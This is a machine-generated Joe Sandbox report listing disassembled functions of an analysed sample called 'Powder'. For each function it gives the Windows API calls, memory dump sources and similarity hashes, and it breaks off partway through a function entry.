API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 951523a1356f78ba5980ebedee5a023436330b117f5a38c87d2f7fdd4cedb069
Instruction ID: 3fdc81b9591886c88ac9eb783e92d448804e7e82e8e885d475c5c9d3ba6062b4
Opcode Fuzzy Hash: 951523a1356f78ba5980ebedee5a023436330b117f5a38c87d2f7fdd4cedb069
Instruction Fuzzy Hash: A51124F29042247ECB08B7A4BC439FEBBAD9F80321F14215AF204772C2DF71189687A1

Function 00E59274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00E58D3F
Part of subcall function 00E58D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D49
Part of subcall function 00E58D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D58
Part of subcall function 00E58D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D5F
Part of subcall function 00E58D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00E58D75

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00E592C1
_memcmp.LIBCMT ref: 00E592E4
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E5931A
HeapFree.KERNEL32(00000000), ref: 00E59321

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 52bd8cb1f8100a60f1cc0c7323870b676e00bcbfb5bc7ec9b35d4e6520651d32
Instruction ID: 5faf5162f834600ff4459a55ac0e9991e5c0cacccbf2d181b12525b0eab9bd0e
Opcode Fuzzy Hash: 52bd8cb1f8100a60f1cc0c7323870b676e00bcbfb5bc7ec9b35d4e6520651d32
Instruction Fuzzy Hash: 3121BD32E00108EFCB10CFA5C945BEEB7F8EF44306F04545AE845B7291D770AA08DB90

Function 00E8634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00E863BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E863D7
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E863E5
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00E863F3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 115426a345ac285881facfd7badfb27aa3791ff0c771d9f50579aac2d1dd9c8f
Instruction ID: a6ba77959c83b041529b290a2521babdee63a9d57315b945999075b76b62bdbc
Opcode Fuzzy Hash: 115426a345ac285881facfd7badfb27aa3791ff0c771d9f50579aac2d1dd9c8f
Instruction Fuzzy Hash: 1A110031305414AFD704BB24CC45FBE77A9EF85320F14611AF91AEB2D2CBA0AC40CB90

Function 00E5E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00E5E46F,?,?,?,00E5F262,00000000,000000EF,00000119,?,?), ref: 00E5F867
Part of subcall function 00E5F858: lstrcpyW.KERNEL32(00000000,?,?,00E5E46F,?,?,?,00E5F262,00000000,000000EF,00000119,?,?,00000000), ref: 00E5F88D
Part of subcall function 00E5F858: lstrcmpiW.KERNEL32(00000000,?,00E5E46F,?,?,?,00E5F262,00000000,000000EF,00000119,?,?), ref: 00E5F8BE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,00E5F262,00000000,000000EF,00000119,?,?,00000000), ref: 00E5E488
lstrcpyW.KERNEL32(00000000,?,?,00E5F262,00000000,000000EF,00000119,?,?,00000000), ref: 00E5E4AE
lstrcmpiW.KERNEL32(00000002,cdecl,?,00E5F262,00000000,000000EF,00000119,?,?,00000000), ref: 00E5E4E2

Strings

cdecl, xrefs: 00E5E4D9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: e028dcdb89647ea6d34de7793632b488e7ae130a946c0ff4567d26c4af80cf27
Instruction ID: 51b438189fdffe691433a78e4f25b73c81b1b2a1ca35f4d00eed0c61fea771a4
Opcode Fuzzy Hash: e028dcdb89647ea6d34de7793632b488e7ae130a946c0ff4567d26c4af80cf27
Instruction Fuzzy Hash: 0011B13A200345BFDB299F24D845D7A77A8FF45355B80542BFC06DB2A0EB319A44C791

Function 00E35312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E35331

Part of subcall function 00E2593C: __FF_MSGBANNER.LIBCMT ref: 00E25953
Part of subcall function 00E2593C: __NMSG_WRITE.LIBCMT ref: 00E2595A
Part of subcall function 00E2593C: RtlAllocateHeap.NTDLL(01790000,00000000,00000001,?,00000004,?,?,00E21003,?), ref: 00E2597F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 1e6d0096b96979e86ff1e6f2af7ee0ed28d34a74ccf6739119b7be3c5e54cd17
Instruction ID: 601deef1802d400479cff78fd67ee0447eec2d5451efeb7e7e98b435aa172ec8
Opcode Fuzzy Hash: 1e6d0096b96979e86ff1e6f2af7ee0ed28d34a74ccf6739119b7be3c5e54cd17
Instruction Fuzzy Hash: 57110D33506A25AFCB203F70FC0969E3FD89F147A4F106527F818B6290DE748944C790

Function 00E64365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00E64385
_memset.LIBCMT ref: 00E643A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00E643F8
CloseHandle.KERNEL32(00000000), ref: 00E64401

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: edda809b21b9777e87a8e1ddea8c3a926c35b06823a8fbccfd2529d1235a5bdc
Instruction ID: 9c11a87086d261c3510b56683a3de1fcecd92dfd66e2b5fb6e688dc076e1e5fa
Opcode Fuzzy Hash: edda809b21b9777e87a8e1ddea8c3a926c35b06823a8fbccfd2529d1235a5bdc
Instruction Fuzzy Hash: A011CBB19412287ED7309B65AC4DFEBBB7CDF45760F004597F508E7190D6744E408AA4

Function 00E76A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00E67E51,?,?,00000000), ref: 00E14041
Part of subcall function 00E1402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00E67E51,?,?,00000000,?,?), ref: 00E14065

gethostbyname.WSOCK32(?,?,?), ref: 00E76A84
WSAGetLastError.WSOCK32(00000000), ref: 00E76A8F
_memmove.LIBCMT ref: 00E76ABC
inet_ntoa.WSOCK32(?), ref: 00E76AC7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 9650e76ca0b5ad599a83b100b61766064701f8143aeb59908bef2ac5af967ec1
Instruction ID: 15432bcf395380db4b13faba862cfc15f50dfc57ce077ee47fc1320747c24511
Opcode Fuzzy Hash: 9650e76ca0b5ad599a83b100b61766064701f8143aeb59908bef2ac5af967ec1
Instruction Fuzzy Hash: E01151B2A00109AFCB04EBA5CE46CEEB7F9AF18311B149065F506B72A1DF309E54CB91

Function 00E596F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00E59719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E5972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E59741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E5975C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4e8141ab1beeaa4a2ab5e4428abe276c951856523c4a82f25743873b753a6503
Instruction ID: 52cf5a20e90b3ff6061a3326e622ded98db026fa63e4cfcbd49efc0c9b621c74
Opcode Fuzzy Hash: 4e8141ab1beeaa4a2ab5e4428abe276c951856523c4a82f25743873b753a6503
Instruction Fuzzy Hash: 2711483A900218FFEB10DF95C984EDDBBB8FB48710F204092E904B7291D6716E14DB90

Function 00E0166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

DefDlgProcW.USER32(?,00000020,?), ref: 00E016B4
GetClientRect.USER32(?,?), ref: 00E3B93C
GetCursorPos.USER32(?), ref: 00E3B946
ScreenToClient.USER32(?,?), ref: 00E3B951

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: f021915e8faaf54bccf84b21fa4c9cb64a487b53282a0435b2b2cbd83918e984
Instruction ID: f02ae7e7a6764ca2bb1a2da0901d8c3c8ea6833531b4509feec8bfe5749f2c5e
Opcode Fuzzy Hash: f021915e8faaf54bccf84b21fa4c9cb64a487b53282a0435b2b2cbd83918e984
Instruction Fuzzy Hash: 52114336A00019AFCB10EF98EC89DFE77B8EB44300F441496F941FB180C331AA91CBA2

Function 00E02111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E0214F
GetStockObject.GDI32(00000011), ref: 00E02163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E0216D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 754fb885dc6c18711e2b7bcdd0c7116003e59842fa562f2cd57fdf20ed70c85d
Instruction ID: fdf28d57484372952c9deb0cfd1a696e13db1537b943ac511ccf06b62f92e146
Opcode Fuzzy Hash: 754fb885dc6c18711e2b7bcdd0c7116003e59842fa562f2cd57fdf20ed70c85d
Instruction Fuzzy Hash: 9D11AD72502109BFDF028F959C88EEBBBA9EF58364F04011AFB1462090C731DCA1EBA0

Function 00E61941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00E604EC,?,00E6153F,?,00008000), ref: 00E6195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00E604EC,?,00E6153F,?,00008000), ref: 00E61983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00E604EC,?,00E6153F,?,00008000), ref: 00E6198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00E604EC,?,00E6153F,?,00008000), ref: 00E619C0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 18d72d60614b7a3137038e71cc35c5d967201bc11569ca8a400a30b41825221c
Instruction ID: 9b1b5af9ae5af9ead0a7e1fa4f02a476b6875db6a98bfc7c175fa79662bf035f
Opcode Fuzzy Hash: 18d72d60614b7a3137038e71cc35c5d967201bc11569ca8a400a30b41825221c
Instruction Fuzzy Hash: 7C117C31C4562CDBCF019FA6E958AEEBB78FF48791F444186E981B2240CB309650CB95

Function 00E8E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00E8E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00E8E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00E8E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00E8E234

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: d48f38ce36ad92ea1a7392bac153a5e33c7148d667edb94c068ec27911b17ac1
Instruction ID: 6697cc6001b97cee90132301983675c48943f46788be22ac0842abdd0c9bf357
Opcode Fuzzy Hash: d48f38ce36ad92ea1a7392bac153a5e33c7148d667edb94c068ec27911b17ac1
Instruction Fuzzy Hash: AE1161B5205304DFE3309F51ED08F97BBBCEF01B14F10855AA66EE6260D7B0E9089BA1

Function 00E371E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00E3720B

Part of subcall function 00E378F2: __fltout2.LIBCMT ref: 00E3791B

__cftog_l.LIBCMT ref: 00E37231
__cftoe_l.LIBCMT ref: 00E37263

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: ac1c87db8015ba633fc121740ccc75c6295d0de4a471c8cdecac1d4f890c28b6
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: DD0189B204814EBBCF226E84CC098EE3F62BB19354F099515FE9868131D336C9B1FB81

Function 00E8B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00E8B956
ScreenToClient.USER32(?,?), ref: 00E8B96E
ScreenToClient.USER32(?,?), ref: 00E8B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E8B9AD

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: b19c4a4e01ddc1233394b25f6cf7ac7a73070891d7a0db800bfaa3293e584867
Instruction ID: 4e4628484e9133739a2ea121c150f3b742ef9cc1bdf48fbdf8e6f963ab7f593a
Opcode Fuzzy Hash: b19c4a4e01ddc1233394b25f6cf7ac7a73070891d7a0db800bfaa3293e584867
Instruction Fuzzy Hash: C91163B9D00209EFDB41DF99C884AEEBBF9FF48310F504156E915E3610D731AA658F50

Function 00E8BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8BCB6
_memset.LIBCMT ref: 00E8BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00EC8F20,00EC8F64), ref: 00E8BCF4
CloseHandle.KERNEL32 ref: 00E8BD06

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: db0fa50141bd3b60795061cabc12f89156fb508325aa1d1724e05c76a1578323
Instruction ID: 9b3767590f83f2d61dbfa2a405bedb3d42f79dd18d9afac224f25fa67eef2004
Opcode Fuzzy Hash: db0fa50141bd3b60795061cabc12f89156fb508325aa1d1724e05c76a1578323
Instruction Fuzzy Hash: 3DF0B4B26003487FE25027626E06FBB3A5DEB08710F00143ABA48F5092DB76480587B8

Function 00E67195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00E671A1

Part of subcall function 00E67C7F: _memset.LIBCMT ref: 00E67CB4

_memmove.LIBCMT ref: 00E671C4
_memset.LIBCMT ref: 00E671D1
LeaveCriticalSection.KERNEL32(?), ref: 00E671E1

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: bc9e228bffde189121c5130a26f154820d53b61e039f0e0e5e06cf87d51b8cbf
Instruction ID: 24ca39fc96b6c6c4fa322c3810d21fe3bdc8ac6804cd2d3ae37f929b61256694
Opcode Fuzzy Hash: bc9e228bffde189121c5130a26f154820d53b61e039f0e0e5e06cf87d51b8cbf
Instruction Fuzzy Hash: 0AF03036100110AFCB016F55EC85E4ABB69EF45360F088052FE086E22BC731A915DBB4

Function 00E8C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00E016CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E01729
Part of subcall function 00E016CF: SelectObject.GDI32(?,00000000), ref: 00E01738
Part of subcall function 00E016CF: BeginPath.GDI32(?), ref: 00E0174F
Part of subcall function 00E016CF: SelectObject.GDI32(?,00000000), ref: 00E01778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00E8C3E8
LineTo.GDI32(00000000,?,?), ref: 00E8C3F5
EndPath.GDI32(00000000), ref: 00E8C405
StrokePath.GDI32(00000000), ref: 00E8C413

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: f7f482093e51cb5106fe7d3914b12f691905e7bca859e8c650b4704daac7ef26
Instruction ID: e23a7fd8f93fe26e16f0b4b72868412420d1b807465923b155ad25e9a382595e
Opcode Fuzzy Hash: f7f482093e51cb5106fe7d3914b12f691905e7bca859e8c650b4704daac7ef26
Instruction Fuzzy Hash: 5AF0BE32005228BEDB122F52AC0EFDE3F59AF06310F448002FA59310E183B51599DFA9

Function 00E5AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00E5AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5AA82
